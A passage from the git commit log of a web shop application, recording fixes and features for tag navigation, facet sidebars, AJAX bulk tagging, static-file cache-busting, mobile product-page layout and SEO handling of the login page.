(correct) query-carrying behavior. 1135 passed.

Docs: mps-24.md Phases 2.8e–2.8h.
 2026-05-16 11:22:23 -04:00
russell@unturf.com
bcd8c2471b
fix: MPS-24 — top chips navigate to the tag SERP like the left nav 
Operator: the top chips should do what the new left-nav category links
do (navigate to the per-tag SERP rendered in the shop's configured
home_layout), not the in-place 'default cards' hide/show.

Root cause: tag_filter.js decided whether to intercept by checking
chips[0].href for '/tag/'. chips[0] is the 'All' chip, which points at
the shop home (shop_url, no '/tag/'), so the category chips' real
{tag_base}/tag/{slug} hrefs were never detected → tag_filter.js always
intercepted → in-place card filter. Now scan ALL chips: if any links
to /tag/<slug>, bail and let full navigation happen, so a chip behaves
exactly like its matching left-nav category link. JS-only defect fix;
tag_filter.js is ?v={{ request.git_hash }} cache-busted.
 2026-05-16 11:02:30 -04:00
russell@unturf.com
98939fbc80
style: MPS-24 — remove nested scrollbar on facet sidebar category list 
ul.facet-tag-list had max-height:60vh + overflow-y:auto, producing an
ugly inner scrollbar on the shop-home facet sidebar (and the mobile
details accordion). Drop the constraint so the category list flows at
full height and the PAGE scrolls — no nested scrollbar. CSS-only;
common.css is already ?v={{ request.git_hash }} cache-busted.
 2026-05-16 10:54:46 -04:00
russell@unturf.com
7836035d1a
fix: MPS-24 Phase 2.8e — form.action DOM-clobbered by <input name=action> 
With 2.8d live the operator's Network panel proved the proxy-proof
ajax=1 signal works (real fetch to /tags -> 200, 0.7kB JSON) but also
showed 4 requests to a URL literally named [object HTMLInputElement],
with a CORRECT payload (action=delete, tag_slug=..., ajax=1).

Cause: every tag form contains <input type=hidden name=action>. A
named form control clobbers the built-in HTMLFormElement.action
property (DOM clobbering), so fetch(form.action) fetched that <input>
element -> 'String([object HTMLInputElement])' -> resolved to the shop
page (200 HTML, 25.9kB) -> reportFailure, no DOM change ('closer but
nothing changes on screen').

Fix: read form.getAttribute('action') (content attribute, never
clobbered) in submitForm + doReorder; build the programmatic toggle
form with setAttribute('action', ...) instead of form.action =.
No bare form.action reads remain. product_tags.js unaffected (posts
to data-product-tags-url). node --check clean; JS-only defect fix,
no Python/template/test impact.

This closes the chain: 2.8c stale cache -> 2.8d proxy-stripped
X-Requested-With -> 2.8e clobbered form.action. Docs: mps-24.md
Phase 2.8e, CLAUDE.md DOM-clobbering note.
 2026-05-16 10:32:50 -04:00
russell@unturf.com
8e31124ca8
fix: MPS-24 Phase 2.8d — proxy-proof AJAX signal (the actual root cause) 
Operator DevTools (custom domain shop.printableprompts.com) showed the
tell: bulk-tagger actions did a DOCUMENT POST -> 302 -> 200 and the
page rendered the SERVER-SIDE flash banner. That banner only survives
if the view took the non-AJAX HTTPFound branch — i.e. is_ajax() was
False: the app never saw X-Requested-With. Custom-domain shops sit
behind a Caddy reverse proxy that was not forwarding that request
header to uWSGI, so the capability-driven split ALWAYS chose 302 and
the page full-reloaded. Canonical host worked, so it looked fine.

- views/__init__.py:is_ajax() now returns True for
  X-Requested-With == XMLHttpRequest OR request param ajax=1. The param
  rides in the URL/body — no proxy strips it. Header kept for back-compat.
- tag_bulk.js (submitForm/doReorder/persistOrder FormData, fetchFocus
  URL) and product_tags.js (post helper) now send ajax=1.
- Hardened tag_bulk.js: ZERO code paths full-reload on failure anymore.
  reportFailure() surfaces HTTP status + content-type + body snippet as
  a visible banner (the old form.submit()/location fallbacks turned
  every server hiccup into 'the screen keeps refreshing' and hid the
  cause). safeInit() + window 'error' handler make a dead script
  visible (transient '✓ Tag editor interactive' proof-of-life banner)
  instead of failing silently.
- Tests: +test_ajax_param_signals_ajax_without_header,
  +test_no_ajax_signal_still_redirects,
  +test_ajax_focus_via_param_returns_json. 1134 passed.

Docs: mps-24.md Phase 2.8d, CLAUDE.md (is_ajax dual signal).
 2026-05-16 10:16:37 -04:00
russell@unturf.com
cd5ea68fe3
fix: MPS-24 Phase 2.8c — cache-bust ALL static JS (THE root cause) 
THE root cause of the entire 'still reloads / still not working' saga
across 2.7 -> 2.8 -> 2.8b: shop_tags.j2 (tag_bulk.js) and
product_edit.j2 (product_tags.js) loaded their <script> WITHOUT the
?v={{ request.git_hash }} cache-bust. routes.py serves /static with
cache_max_age=3600, so the operator's browser kept the STALE JS for up
to an hour after every deploy — the new SPA code never executed, forms
fell back to native submit = full page reload, every time. Server-side
functional tests passed throughout because they have no browser cache.

Fix: append ?v={{ request.git_hash }} to EVERY static <script> include
(the established base.j2 / offer.js / pay-countdown.js convention) —
not just the two at fault but the whole latent class: tag_bulk,
product_tags, tag_filter, auction, player, sandbox, watch, signals,
comments, shop-settings. request.git_hash shifts every deploy -> URL
changes -> fresh fetch, no hard-refresh ever needed again.

Gate (must be empty):
  grep -rnE '<script src="/static/js/[^"?]+\.js"' make_post_sell/templates/

The 2.8/2.8b JS (onTagFormClick unified click handler, AJAX focus,
drag-to-reorder) stands — it just was never being fetched by the
browser. 1131 tests pass. Docs: mps-24.md Phase 2.8c, CLAUDE.md
(new mandatory cache-bust convention section).
 2026-05-16 09:39:17 -04:00
russell@unturf.com
b15c0a0f38
fix: MPS-24 Phase 2.8b — one unified AJAX click handler for all bulk-tagger actions 
Operator: 'same with the delete button. and add' — i.e. Add / Delete
(and reorder) still full-reloaded. The generic data-tag-form
submit-EVENT interception is unreliable in the field; the explicit
click handlers (focus/drag) work. Root fix instead of patching each
button: one capture-phase CLICK handler (onTagFormClick) on every
submit control inside form[data-tag-form].

- onTagFormClick preventDefault()s so the native submit never starts
  (no reload, no double-handling), runs the delete confirm via
  data-confirm, routes reorder -> doReorder (in-place swap), everything
  else (create/add, delete, attach/detach, apply/dismiss suggestion)
  -> submitForm.
- Removed inline onclick="return confirm()" from shop_tags.j2 AND the
  JS appendTagRow builder — it fought the interception; now data-confirm.
- submit listener kept only as the Enter-key fallback. Standalone
  wireReorderButtons folded into onTagFormClick. Dead escapeJs removed.
- Tests: +test_ajax_delete_tag_returns_json,
  +test_bulk_tagger_delete_uses_data_confirm_not_inline_onclick,
  +test_ajax_reorder_arrow_returns_json_and_moves. 1131 passed.

Docs: mps-24.md Phase 2.8b.
 2026-05-16 09:05:14 -04:00
russell@unturf.com
155f7ff66f
fix: MPS-24 Phase 2.8 — bulk tagger AJAX tag-focus + real drag-to-reorder 
Operator (printableprompts.com, 481 products) reported the bulk tagger
'still refreshing the whole screen' and 'dragging tags doesn't work'
after 2.7. Two real defects the 2.7 static audit missed:

1. Tag-focus was a full-page navigation: clicking a tag chip is
   <a href=?focus=slug>, and the view loaded+rendered ALL products on
   EVERY GET. On a 481-product catalog every tag click reloaded a
   multi-MB page. The forms were AJAX; the dominant workflow was not.
2. Drag-to-reorder never existed: shop_tags.j2 shipped draggable=true +
   a handle + help text, but tag_bulk.js had ZERO drag handlers.

Fix:
- shop.py:shop_tags — all_products loads only when focus_tag or
  show_suggestions (bare GET is light). New AJAX branch: is_ajax +
  ?focus=slug -> JSON {focus, products:[{id,title,url,attached}]}.
- shop_tags.j2 — stable [data-focus-section] (always in DOM, hidden
  until focused); ?focus= chips carry data-tag-focus-link. No-JS
  unchanged (real navigation, server renders the section).
- tag_bulk.js — wireFocusLinks() intercepts chip clicks, fetchFocus()
  + renderFocus() swap the list in place, active-chip + history
  pushState/popstate, real-navigation fallback. wireDragAndDrop()
  HTML5 DnD -> persistOrder() POSTs action=set_order&tag_slugs=…
  (view already supported it) + re-syncs up/down disabled states.
  .tag-list-dragging CSS added.
- Tests: TestProductTagsSpa +4 (ajax focus json, unknown-slug null,
  set_order persists positions, bare GET no catalog). 1128 passed.

Docs: mps-24.md Phase 2.8, architecture.md, design-system.md, CLAUDE.md.
Deferred: AJAX 'Suggest categories' link (occasional click, not hot path).
 2026-05-16 08:31:03 -04:00
russell@unturf.com
f591620424
feat: MPS-24 Phase 2.7 — per-product SPA tag chips on product edit 
Operator report: adding/removing a tag on the product edit page
refreshed the whole screen. Tags lived only as a comma-separated
<input name=tags> inside the big product form, so any tag change
needed a full Save Settings POST + page reload.

- New route/view: product_tags -> /p/{id}/tags (before product_slug
  catch-all), @shop_editor_required + @trial_active_required.
  action=add (get_or_create_tag + attach) / action=remove (detach).
  AJAX (X-Requested-With) -> JSON, no reload; plain POST -> 302 back
  to edit (no-JS still works). Rebuilds discovery ring like product_edit.
- Shared is_ajax() in views/__init__.py (single source of truth;
  shop.py:_is_ajax delegates — bulk tagger behaviour unchanged).
- product_edit.j2: comma field kept as no-JS path; js-only chip
  editor added. product_tags.js reveals chips, demotes raw input to
  hidden, keeps it in lock-step so a later full Save is a no-op.
- .tag-chip-removable family in common.css (tokens-only, Grid-only,
  always-visible remove button) + /styleguide#tagchips.
- Harden tag_bulk.js: init() binds the delegated submit listener
  unconditionally (no early-return that could strand the bulk-tagger
  SPA into full reloads).
- Tests: unit (slug dedupe invariant), integration
  (TestProductTagAddRemoveIntegration), functional (TestProductTagsSpa
  incl. bulk-tagger-AJAX-returns-JSON regression guard). 1124 passed.

Docs: architecture.md, design-system.md, CLAUDE.md, mps-24.md.
 2026-05-16 07:58:25 -04:00
russell@unturf.com
48a5eb715d
fix: link tag chip strip to the facet left-nav (same targets) 
The chip strip linked to ?tag=<slug> (in-place filtered shop home)
while the facet sidebar/details Categories list linked to
{tag_base}/tag/<slug> (the canonical tag detail page). Clicking the
same category in the two navs took you to two different pages with
independently-computed active states — they were never in sync.

Point the chip strip at the same targets the facet nav uses:
  - "All"      -> shop home ({{ shop_url }})  (unchanged)
  - category   -> {{ tag_base }}/tag/{{ slug }}  (was ?tag={{ slug }})
Lane "See all ->" links moved the same way for consistency.

tag_filter.js already keeps full navigation for /tag/ hrefs (it bails
on init when the chip href contains /tag/), so this needs no JS
change — chips and the left nav now land on the identical page with
the identical active highlight. Server still resolves active_tag from
both /tag/<slug> and any legacy ?tag= param, so old links keep working.

33 tests in the home-layout / chip / facet / tag-detail / lane slice
pass.
 2026-05-16 05:33:58 -04:00
russell@unturf.com
2329dc8f4a
style: SERP list uses full width, bigger thumbs, category hit counts 
Three fixes from fox's screenshot of the deployed tag detail page:

1. Dead right-hand space — .serp-list-excerpt had max-width: 70ch, so
   the snippet capped at ~600px while the row was full width, leaving
   ~40% of the viewport empty next to the facet sidebar. Removed the
   cap; the excerpt now fills the row body. Product.excerpt_sentences
   already bounds the block at 6 sentences so it can't run unbounded.

2. Bigger thumbnails — .serp-list-row thumbnail column goes 80→140px
   base, and the container-query steps go 120→200 (≥600), 160→260
   (≥900), plus a new 320px step at ≥1200. The facet sidebar makes
   the content container wide, so the larger steps actually fire.

3. Category hit counts — facet sidebar each category now shows a
   muted tabular-nums pill with Tag.product_count next to the name.
   a.facet-tag becomes a 1fr/auto grid (name | count); the count
   chip inverts on the active row so it stays legible on the themed
   background. No view change — Tag.product_count is an existing
   on-demand property, ~one indexed COUNT per sidebar row.

6-sentence excerpt was already wired (excerpt_sentences(6) via the
facet-nav work). 42 tag/facet/serp functional tests pass.
 2026-05-15 21:02:38 -04:00
russell@unturf.com
2640b035bc
fix: MPS-24 2.6c — sidebar category links hit tag route, not home catch-all 
Operator review of 2.6b: clicking any sidebar category landed on a
page that looked exactly like the shop home (lanes), ignoring the
tag filter.

Root cause: _facet_nav.j2 built category links as
{absolute_url}/tag/{slug}. absolute_url() includes the shop slug
(/s/{id}/{shop_slug}), so the link became
/s/{id}/{shop_slug}/tag/{slug}. The tag detail route is
/s/{shop_id}/tag/{slug} — no shop-slug segment — so that path missed
shop_tag_detail and fell through to the shop_slug catch-all
(/s/{shop_id}/{slug:.*}), rendering the shop home.

Fix: macros now take a tag_base arg =
request.shop.absolute_url(request, slug=False) (= /s/{id}).
Category links build {tag_base}/tag/{slug} — matches
shop_tag_detail exactly. The All link keeps the slugged base_url
(shop home). All three callers (shop_tag.j2, home.j2, shop.j2)
pass both.

Regression coverage:
- test_facet_category_link_renders_tag_detail_not_home (new)
- test_tag_detail_renders_facet_sidebar (asserts slug-less link,
  asserts NOT slugged link)

Docs: CLAUDE.md facet-nav note, ticket Phase 2.6c.
 2026-05-15 20:00:02 -04:00
russell@unturf.com
8970e960fb
feat: MPS-24 Phase 2.6b — facet nav on shop home + mobile SERP lanes 
Operator review on tablet showed two gaps in the 2.6 ship:
- Shop home (layout 2 lanes) had no facet sidebar — only tag detail did
- Mobile lanes were horizontal Netflix-style tile rows with no
  description visible at all

This batch extends the facet experience across every page where the
operator opted into categorization (home_layout >= 1):

- New templates/_facet_nav.j2 with three macros (facet_form, sidebar,
  details). One source of truth for the controls, three variants of
  the wrapper. shop_tag.j2 refactored to import the macro.
- home.j2 + shop.j2 now wrap content in .tag-detail-layout when
  home_layout >= 1, rendering both the desktop sidebar and the mobile
  <details> accordion. CSS toggles visibility per viewport.
- Each lane in layout 2 now emits BOTH horizontal tiles AND vertical
  .serp-list-row markup with 6-sentence excerpts. CSS shows tiles
  >=800px, SERP rows <800px. Tablet / phone shoppers see image +
  title + price + description excerpt under each tag heading.
- views/shop.py: facet_tags is populated for any home_layout >= 1
  (was only on ?tag= filter); sort + price now also filter the
  non-tag-filtered home grid when the shopper applies them.

Native HTML. No JS dependency. Same controls everywhere.

Test: test_shop_home_lanes_renders_facet_sidebar_and_mobile_rows.
Docs: CLAUDE.md MPS-24 section, architecture matrix, ticket Phase 2.6b.
 2026-05-15 16:30:23 -04:00
russell@unturf.com
0f84e6871b
fix: split Subscription / Comments / Gift Cards into separate cards 
Three sections shared a single <section class="shop-settings well">
wrapper — Subscription and Comments were nested *inside the same
card*, and Gift Cards lived in a bare <section class="well"> right
after Comments inside the same outer .one-column. So:

  - Subscription's body bled directly into Comment System Settings,
    no margin, no card break (fox's screenshot).
  - Gift Cards picked up only the legacy flat .well treatment — no
    elevation, no margin-bottom — because it lacked .shop-settings.

Split each into its own <section class="one-column">→<section
class="shop-settings well"> so the margin-bottom + elevation rules
from common.css land on every one. Gift Cards now also carries
.shop-settings so it matches the rest of the page.

Markup is otherwise unchanged. 18 tests in the shop_settings /
gift_card / styleguide / subscription / comment_settings slice green.
 2026-05-15 15:58:16 -04:00
russell@unturf.com
91c0854a1f
docs: MPS-24 Phase 2.6 — facet sidebar + 6-sentence excerpt entries 
Surface the new tag-detail facet nav (sort + price + categories) and
6-sentence SERP excerpt in two places future readers will look:
- docs/architecture.md feature toggle matrix gets two rows
- styleguide.j2 gets a live demo of the facet sidebar so the pattern
  is documented in the single source of truth for components
 2026-05-15 15:54:50 -04:00
russell@unturf.com
41d525aa1d
style: shop settings cards stay --surface-dim gray (drop white override) 
Last batch promoted .shop-settings.well to a content-card and along
the way overrode the background to --surface-base (white) — fox
prefers the familiar light-gray slab. Drop the background-color +
border + dark-mode overrides; .well already sets --surface-dim and
its dark-mode rule, both of which I'm now letting through unchanged.

Kept: the rhythm + shape upgrades that actually fixed the "wells
butting together" problem — radius-lg, elevation-1 shadow,
var(--space-5) padding, var(--space-5) margin-bottom between
sections. Styleguide entry note updated to match.
 2026-05-15 15:31:50 -04:00
russell@unturf.com
5aa6d1e756
style: shop settings — promote every section to a content-card 
The settings page was visibly butting disparate sections together
(dim-gray .well + .well, no real margin between them) because each
section was wrapped in section.shop-settings.well, which only ever
got the legacy .well treatment (surface-dim, padding 10px) — none of
the elevation/border/rhythm of the design-system content-card.

This is a CSS-only upgrade: section.shop-settings.well now gets the
same chrome as .content-card (surface-base, --border-light, elevation
-1, --radius-lg, --space-5 padding, --space-5 margin-bottom). The 18
shop-settings sections in shop_settings.j2 pick this up with zero
markup churn. The legacy <br/><br/> intra-section spacers stay
(harmless block whitespace inside the card).

Dark mode override added (--surface-container / --border-default).
.mps-submit gets a top margin so the Save Settings button isn't
glued to the last field. Styleguide entry under #wells documents the
pattern so future setting forms (or refactors) stay consistent.

57 tests in the shop_settings/styleguide slice still green.
 2026-05-15 14:26:21 -04:00
russell@unturf.com
56649db952
feat: Google-SERP-style list rows on tag detail (Phase 1 redesign) 
Phase 1 of fox's "drop the desktop-card framing, build SERP-style
list view that works at every resolution" redesign. Scope: tag detail
page only (/s/{shop_id}/tag/{slug}). If this shape lands well it
extends to filtered shop home + search + "See all" routes next.

  templates/shop_tag.j2 — replaces .serp card grid with .serp-list
  rows. Each row: thumbnail | (title + price + excerpt). Article
  semantics (<article class="serp-list-row"> + <h3>) so the page
  reads correctly to crawlers + screen readers.

  models/product.py — new Product.excerpt(max_chars=180) method.
  Strips common markdown markers (headings, emphasis, links, images,
  blockquotes, code, list bullets) and backtracks to the nearest
  sentence terminator or word boundary so the snippet doesn't end
  mid-word. ~Google-snippet feel (default 180 chars).

  static/css/common.css — mobile-first SERP-list layout. Default
  grid-template-columns is 80px minmax(0, 1fr) — small thumbnail on
  the left, text on the right, comfortable on phones. Container
  queries (container-type: inline-size on .serp-list) bump the
  thumbnail to 120px at 600px container width and 160px at 900px,
  so the layout uses as much horizontal real estate as it gets
  without ever wrapping. Excerpt has max-width: 70ch so the reading
  band stays comfortable on wide monitors instead of stretching to
  one-line-per-row.

Still TODO (next phases):
  - left sidebar with categories on wide viewports
  - apply this same SERP-list to filtered shop home + search
  - convert lanes to either list rows or keep Netflix-style cards
    based on fox's call after seeing this phase live
 2026-05-15 14:18:30 -04:00
russell@unturf.com
095d91bc68
feat: sort dropdown on tag detail + filtered shop home (MPS-24) 
Six sort options on category/tag pages, controlled by ?sort=:

  newest       Newest first        (default — created_timestamp desc)
  oldest       Oldest first        (created_timestamp asc)
  price_asc    Price low → high    (price_in_cents asc)
  price_desc   Price high → low    (price_in_cents desc)
  title        Alphabetical A→Z    (lowercased title)
  popular      Most popular (28d)  (PageSession views with visible_ms ≥ 7s)

Rendered as a <select> right-aligned above the grid. Capability-driven:
plain GET form works without JS (button appears via <noscript>), JS-on
auto-submits on change. Both shop_tag.j2 and home.j2 (filtered branch
only — lanes keep their editorial order) get the dropdown.

views/shop.py — new SORT_OPTIONS list + _sort_key_from_request +
_sort_products + _popular_view_counts helpers. Sort runs in Python on
the already-filtered list, so it's O(N log N) on the tagged subset
not the whole shop catalog. The 'popular' option fires one extra
PageSession aggregate query scoped to the filtered product_ids;
~tens of ms on indexed (shop_id, product_id, created_timestamp).

Doesn't address fox's bigger ask: Netflix-style truly-responsive
SERP layout with left nav + description-excerpt rows that works at
every resolution. That's a real redesign — proposing it next.
 2026-05-15 14:14:17 -04:00
russell@unturf.com
18a8566023
feat: MPS-24 — operator-controlled tag order (no-JS + drag-and-drop ready) 
The chip strip and lane sequence on the shop home page were locked to
tags_by_popularity (product_count desc, name asc). Fox wants shop
operators to set the order manually.

- New mps_tag.position column (Integer NOT NULL, server_default 0,
  idempotent migration 7f2a91c4d810). Smaller = earlier on the home
  chip strip / lanes / bulk-tagger list.
- tags_by_popularity now orders by (position asc, count desc, name
  asc). Fresh shops still get the popularity ordering — every row
  starts at position=0 so the next two clauses do the real work — but
  once an operator reorders, position wins.
- Two new POST actions on /s/{shop_id}/tags:
    action=reorder, tag_slug=<s>, direction=up|down  — no-JS path,
      swaps with the adjacent tag (positions normalised to dense
      0..N-1 first so a swap is always meaningful).
    action=set_order, tag_slugs=a,b,c,…              — single-POST
      "commit the whole order", for drag-and-drop. Any slug missing
      from the explicit list tails the order; we never silently drop
      a tag from the rendering.
- shop_tags.j2 grew up/down arrow forms per row (disabled on the
  first/last) plus a drag handle marked js-only. The grid template was
  bumped to seven columns (handle | chip | count | view | up | down |
  delete).
- tag_bulk.js gains onReorder: the form is intercepted via the
  existing maybeIntercept submit-capture; on a successful AJAX reorder
  we swap the row in the DOM and re-disable the up/down on whichever
  row is now first/last — no full page reload.

Tests (TestHomeLayoutAndTags): up, down, edge-no-op, set_order
drag-and-drop, and a render check confirming the new order surfaces on
the home chip strip. 28 in class pass (5 new).
 2026-05-15 14:02:43 -04:00
russell@unturf.com
dc79d13358
feat: MPS-24 Phase 2.5 — product page polish (description wrap + price-history toggle) 
Two product-page issues surfaced while shopping printableprompts on
mobile. Both fixed in one commit since they're tightly scoped to the
product page experience.

Description text clipping the right edge on mobile:

- .content-card uses CSS Grid but its grid items had default
  min-width: auto, so they expanded to their content's intrinsic
  width — long unbreakable tokens (URLs, etc.) pushed the card
  wider than the viewport. Then .content's overflow-x: clip
  silently hid the right side instead of wrapping the text.
- Add min-width: 0 + overflow-wrap: break-word to .content-card,
  .content-card-header, .content-card-body. Add word-break:
  break-word to inner <a> / <p> so URLs hyphenate at any character.

Price history shown by default:

- The price history table (commit 1e5fe27, 2026-02-11) was always
  visible to anyone who could edit the shop. Operator feedback:
  "wait for a sale" psychology hurts conversions; shoppers
  shouldn't see a timeline of past prices.
- New Shop.show_price_history Boolean (default False, server-default
  "0") with idempotent Alembic migration c792642911e2.
- Toggle lives in the existing ribbon-settings form section.
- views/product.py (public view) + views/watch.py JSON gate the
  price_history list on the toggle. Template product.j2 also gates
  rendering as belt-and-suspenders.
- Edit page (also views/product.py:product_edit) intentionally
  remains always-on — the operator needs price audit access from
  their own admin surface regardless of the shopper-facing toggle.
- New shop matrix entry in docs/architecture.md.
- 2 new functional tests (default-off + toggle round-trip).

1090 tests passing.
 2026-05-15 13:54:24 -04:00
russell@unturf.com
7fe6b56cdb
seo: stop the /join-or-log-in?next= crawl recursion 
Search Console reported 72 nested /join-or-log-in URLs on media.unturf.com,
each one /join-or-log-in?next=https://.../join-or-log-in?next=... a level
deeper. Each got crawled and 401'd — Google's not indexing them (good),
but it's burning crawl budget on infinite nesting (yuck).

Root cause: base.j2's navbar "My Account" link for anonymous visitors
built the next= param from request.url (the FULL current URL with query
string). When the user lands on /join-or-log-in?next=/c/foo, that link
becomes /join-or-log-in?next=https://.../join-or-log-in?next=/c/foo —
which Google then crawls, and on THAT page the navbar link recurses
deeper, and so on.

Fix:
- base.j2 — suppress the navbar link entirely when already on
  /join-or-log-in (user is on the page; no point in pointing back).
  Also switch from request.url to request.path so any stray emission
  can't recurse via query string.
- All internal /join-or-log-in links get rel="nofollow" (base, home,
  product, comments, auction, verification-challenge). Defense in
  depth: even if a future template forgets the guard, Googlebot
  won't follow the link to discover deeper permutations.

Pairs with prior ba8fc45 (noindex + no-referrer + robots.txt disallow).
Already-crawled deep URLs will fall out of Search Console as Googlebot
re-fetches them, sees the 401 + no internal links pointing at them,
and ages the entries out.
 2026-05-15 13:44:17 -04:00
russell@unturf.com
ba8fc451c0
seo: mark /join-or-log-in as crawler-unfriendly + no Referer leakage 
Google Search Console flagged six /join-or-log-in?next=... URLs as
"Duplicate without user-selected canonical" — every ?next= permutation
serves identical content, so Google groups them as duplicates and
indexes none. Auth pages have no business in the index anyway, and
the ?next= query string can carry private cart/product paths that
shouldn't end up in crawl logs or Referer headers.

Two-pronged fix:

  templates/join-or-log-in.j2
    - <meta name="robots" content="noindex,nofollow"> drops the page
      and its outbound links from the index entirely.
    - <meta name="referrer" content="no-referrer"> stops the URL —
      with its ?next= cart-uuid / product-uuid contents — from leaking
      to any third party when the user clicks an outbound link.
    - Explicit <title>Log in or join</title> via the head block so
      the default {{ request.domain }} title isn't shown either.

  views/misc.py — DEFAULT_ROBOTS_DOT_TXT
    - Disallow: /join-or-log-in so crawlers don't fetch the URL in
      the first place. Pages already in the index will drop out once
      Google re-crawls and sees the noindex header.

Operator shops can still override robots_dot_txt in pillar config;
they get the same default unless they explicitly opt out.
 2026-05-15 13:29:32 -04:00
russell@unturf.com
adf145a7e8
fix: tag chip "All" navigates fully from a filtered URL 
When the page loads at ?tag=<slug>, the server has rendered a SUBSET
of products (the tag-filtered grid). The DOM only contains that
subset, so clicking "All" via the in-place filter just unhides what's
already visible — it can't synthesize the rest of the shop, and on
the lanes home_layout it can't rebuild the lane sections at all.

tag_filter.js now bails on init when the URL carries a ?tag= param.
Chips on filtered pages do normal navigation, so clicking "All" hits
the server and gets back the correct unfiltered home (flat grid for
home_layout 0/1, sectioned lanes for home_layout 2). The fast
in-place path still works on the unfiltered home, which is when it's
correct anyway (full set of products is in the DOM).
 2026-05-15 13:16:14 -04:00
russell@unturf.com
7c227ab467
feat: MPS-24 Phase 2.4 — SPA bulk tagger + Netflix-style lanes 
Two operator-workflow improvements that compound. With Phase 1+2+2.3
shipped the categorisation works; with this phase iterating on tag
suggestions feels like one fluid screen instead of a stack of POST/
redirect cycles, and the lanes home actually looks like categorised
shelves.

SPA progressive enhancement on /s/{shop_id}/tags:

- Every form (create / delete / attach / detach / apply_suggestion /
  dismiss_suggestion) still POSTs and 302-redirects without JS — the
  no-JS user path is unchanged. With JS, static/js/tag_bulk.js
  intercepts submits, POSTs via fetch with X-Requested-With:
  XMLHttpRequest, and the server returns JSON describing what
  changed. Capability-driven per CLAUDE.md.
- New _is_ajax() + _tag_ajax_response() helpers in views/shop.py
  pop the Pyramid flash queue into the JSON payload so JS can render
  toasts (.tag-flash / .tag-flash-toast / .tag-flash-{success,error,
  info}). Falls back to a full form submit if fetch() errors.
- Template gained data-tag-form="<action>" attributes for delegation
  and data-tag-row / data-suggest-row / data-product-row hooks for
  DOM mutation. Re-attach pass on inserted rows.
- 6 new functional tests cover each AJAX action plus the no-JS
  fallback (POST without the header still 302-redirects).

Netflix-style horizontal-scroll lanes:

- .tag-lane-grid is now display: grid + grid-auto-flow: column +
  grid-auto-columns: minmax(160px, 200px) + overflow-x: auto +
  scroll-snap-type: x mandatory. Each lane is visually bounded as
  a category, tiles snap on swipe.
- Tiles drop the .serp class (the auto-fit grid was fighting the
  new horizontal flow) but keep .serp-item for hover styles.
- Thumbnails inside lane tiles use width:auto + max-width:100% +
  max-height:200px per CLAUDE.md media-sizing rule.
- Mobile (≤ 800px): tiles narrow to 140-160px, swipe-friendly.
- /styleguide updated with a 5-tile lane example so future operators
  see the new pattern.

1088 tests passing.
 2026-05-15 12:55:36 -04:00
russell@unturf.com
660b577d32
fix: extend mobile order rules to tablet — close the 800-959 gap 
8b25285 hoisted the buy CTA above the title on mobile, but the
@media (max-width: 800px) breakpoint left a 160px gap (800-959) where
neither mobile order rules nor the desktop two-column grid applied.
In that range the page fell to source order and the buy zone sank back
below comments — fox's tablet screenshot.

Bump the order/single-column block to (max-width: 959px) so portrait
tablet + small-laptop widths get the same hoisted-CTA stack as phone.
Pull the mobile-only max-width: 600px readability cap out into its
own (max-width: 800px) block — tablet keeps a wider centered column
instead of being pinned to a phone-width strip.
 2026-05-15 12:30:28 -04:00
russell@unturf.com
e284f88923
fix: serp thumbnails shrink to fit grid cell (MPS-24 lane layout) 
shop.printableprompts.com's lanes layout looked broken: each lane
rendered a single giant product card spanning the entire viewport.
Cause: img.serp-thumbnail had no width constraint, so a 1080px-natural
thumbnail expanded its grid cell to 1080px, collapsing the auto-fit
'repeat(auto-fit, minmax(160px, 1fr))' grid to a one-column layout.

Per CLAUDE.md CSS Media Sizing rule, use width: auto + max-width: 100%
(never width: 100% with max-height). Adds height: auto + display: block
to kill inline-image whitespace.

Affects every page that renders .serp-thumbnail (home, shop, search,
tag detail) — printableprompts had pixel-large thumbnails so it
surfaced there first; other shops with smaller thumbs were getting
away with the lack of constraint.
 2026-05-15 12:30:08 -04:00
russell@unturf.com
28ffee6c8c
test: explicit tag delete-cascade cleanup test (MPS-24) 
Operator-facing concern: 'can I experiment with auto-suggested tags
and undo cleanly without DB cruft?' Yes — Phase 1 already wires the
SQLAlchemy cascade via ProductTag.tag's backref
(cascade='all, delete-orphan'), but the existing functional test only
verified the Tag row went away. This adds an end-to-end test that:

1. Applies a tag to 3 products via action=apply_suggestion (creating
   3 ProductTag rows).
2. Deletes the tag via action=delete.
3. Asserts: Tag row gone, all 3 ProductTag rows gone, products survive
   with empty .tags.

Proves reversibility for an operator testing categorizations on the
suggest-then-approve loop.
 2026-05-15 11:55:40 -04:00
russell@unturf.com
8b25285647
style: mobile — hoist buy CTA above the title, split product-right 
The right column was a single .product-right that wrapped the buy zone
(price + Add to Cart + preview + auction/offer) AND the related content
(comments link, price history, watch queue, related products) in one
node. Hoisting it to top of the mobile stack would put the related grid
above the title — too much chrome before the title even appears.

Split into two sibling sections, both still carrying .product-right
so existing button/cinema/centering rules apply unchanged:
  - section.product-purchase — buy zone
  - section.product-related  — comments link, price history, watch
                                queue, related products

Mobile (≤800px) order:
  0 product-purchase   ← above the title
  1 product-images     (title + cover + thumbnails)
  2 product-description
  3 product-comments
  4 product-related    (no longer crowding the title)

Desktop (≥960px) grid-template-areas:
  "images       purchase"
  "description  related"
  "comments     related"

So purchase sits at the top of the right column (where the price has
always lived) and related spans the two rows below — the page hierarchy
stays identical to before on desktop, but mobile finally gets the CTA
to the top of fold.

Cinema-mode grid + watch-mode mobile/desktop rules updated to address
both new grid areas. CLAUDE.md Mobile Layout section rewritten.

Product/watch/cinema test slice (37 tests) still green.
 2026-05-15 11:53:03 -04:00
russell@unturf.com
81c051e3fc
feat: MPS-24 Phase 2.3 — multi-bigram supersession, apostrophe labels, top_n 100 
Phase 2.2 surfaced real categories but left noise:
- Color (119), Number (100), Day (63), Room (36) — unigrams fully covered
  by multiple bigrams, but the prior supersession only considered one
  bigram at a time so "Day" stayed even though "Valentine's Day" +
  "Patrick's Day" + … collectively cover all its products.
- "Valentine Day" / "Patrick Day" labels read as typo-broken because
  apostrophes were stripped during cleaning.
- 50 candidates wasn't long-tail enough on a 481-product catalog.

Three fixes:

- Multi-bigram supersession: a unigram drops when the UNION of bigrams
  containing it covers ≥ 80% of its product set. Iterates all bigrams
  for the unigram's stem, unions their product sets, computes coverage
  once.
- Apostrophe-preserving tokeniser + stemmer: `_MD_PUNCT` no longer
  strips `'`; `_WORD` regex accepts a trailing `(?:'[a-z]+)?` so
  "valentine's" and "patrick's" survive as surface forms.
  `simple_stem` drops the apostrophe tail before suffix-stripping so
  "valentine's" stems to "valentine" — the cluster groups correctly
  while the label vote wins with the readable surface form. Stopword
  check uses the apostrophe-less base so possessives can't slip past
  the list.
- top_n default 50 → 100. CLI default also bumped.

